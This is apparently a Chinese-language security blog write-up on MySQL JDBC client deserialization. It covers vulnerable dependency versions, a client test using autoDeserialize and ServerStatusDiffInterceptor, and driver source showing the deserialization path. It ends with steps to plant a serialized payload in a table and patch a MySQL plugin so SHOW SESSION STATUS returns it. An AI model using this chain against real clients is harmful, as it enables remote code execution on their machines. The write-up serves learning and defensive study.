MySQL JDBC 客户端反序列化

前言

挺有意思的 Java 反序列化利用方式，有种 PHP 的 MySQL phar 反序列化的感觉，学习学习。

环境搭建

简单地新建一个 Java 类，配置好编译输出目录和 maven：

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

然后编写测试代码：

import java.sql.*;

public class JDBC {
    public static void main ( String[] argv ) throws Exception {
        String url = "jdbc:mysql://*.*.*.*:*/jdbc?useSSL=false&user=root&password=root&" +
                "autoDeserialize=true&allowPublicKeyRetrieval=true&" +
                "queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection conn = DriverManager.getConnection(url);
    }
}

DriverManager 会通过 SPI 的方式加载 MySQL 驱动，不需要像参考文章那样加一句：

1 2	`String driver = "com.mysql.jdbc.Driver"; Class.forName(driver);`

漏洞成因

ServerStatusDiffInterceptor 类的 populateMapWithSessionStatusValues 函数会执行一句 SQL 语句，然后将执行结果放入 Map 中：

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
    java.sql.Statement stmt = null;
    java.sql.ResultSet rs = null;

    try {
        try {
            toPopulate.clear();

            stmt = this.connection.createStatement();
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            ResultSetUtil.resultSetToMap(toPopulate, rs);
        }
        ...
    } 
    ...
}

而 resultSetToMap 函数会调用 ResultSet 接口实现的 getObject：

public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
    while (rs.next()) {
    	mappedValues.put(rs.getObject(1), rs.getObject(2));
    }
}

顺带一提在 8.0.20 版本下，获取放入 Map 中的数据时调用的不是 getObject，而是 getString：

try (ResultSet rs = stmt.executeQuery("SHOW SESSION STATUS")) {
    while (rs.next()) {
    	toPopulate.put(rs.getString(1), rs.getString(2));
    }
}

这里调用的是 ResultSetImpl 类的 getObject，当字段类型为 BIT 或者 BLOB 的时候，会进行反序列化：

case BLOB:
if (field.isBinary() || field.isBlob()) {
    byte[] data = getBytes(columnIndex);

    if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
        Object obj = data;

        if ((data != null) && (data.length >= 2)) {
            if ((data[0] == -84) && (data[1] == -19)) {
                // Serialized object?
                try {
                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                    obj = objIn.readObject();
                    objIn.close();
                    bytesIn.close();
                } 
                ...
            } else {
                return getString(columnIndex);
            }
        }

        return obj;
    }

    return data;
}

return getBytes(columnIndex);

而 ServerStatusDiffInterceptor 类是实现了 QueryInterceptor 接口的一个类，这个接口代表的是 MySQL 连接串中的一个参数，官方文档中对这个参数的描述是：

queryInterceptors

A comma-delimited list of classes that implement "com.mysql.cj.interceptors.QueryInterceptor" that should be placed "in between" query execution to influence the results. QueryInterceptors are "chainable", the results returned by the "current" interceptor will be passed on to the next in in the chain, from left-to-right order, as specified in this property.

Since version: 8.0.7

简单来说就是在 SQL 查询之间插入的 SQL 操作，而建立连接时会执行的 set autocommit=1 等操作正好可以触发，所以如果可以控制 JDBC 连接串，就可以通过设置 queryInterceptors 的方式让客户端反序列化我们返回的数据，具体危害程度由客户端的环境决定。

漏洞利用

可以参考这位大师傅的做法：https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

也可以用这个工具：https://github.com/fnmsd/MySQL_Fake_Server

自己建立一个数据表存放序列化攻击数据，然后通过 MySQL 插件将 SHOW SESSION STATUS 请求重写为从该表中 select 数据，从而达到控制返回数据的目的。

用 docker 开一个 MySQL，首先新建一个表用来存放序列化数据：

mysql> create database jdbc;
Query OK, 1 row affected (0.03 sec)

mysql> use jdbc;
Database changed
mysql> create table jdbc(data1 blob, data2 blob);
Query OK, 0 rows affected (0.02 sec)

mysql> set @bytes=0xaced...78;
Query OK, 0 rows affected (0.00 sec)

mysql> insert into jdbc values(@bytes, @bytes);
Query OK, 1 row affected (0.01 sec)

然后嫌麻烦不想自己编译一个新的扩展，所以直接使用 GitHub 上给出的扩展，然后用 IDA 简单地 patch 一下修改掉字符串，最后大概变成了这个样子：

v4 = strcasecmp(v3, "SHOW SESSION STATUS") == 0;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v14, "SHOW SESSION STATUS");
std::allocator<char>::~allocator(&v10);
if ( v4 ){
    strcpy(s, "select `data1`, `data2` from jdbc.jdbc;#NAME`, `ID`, `IS_DEFAULT`, `IS_COMPILED`, `SORTLEN` from codeplutos.payload");
    v5 = (__int64 (__fastcall *)(_QWORD, size_t, _QWORD))*mysql_malloc_service;
    ...
}
...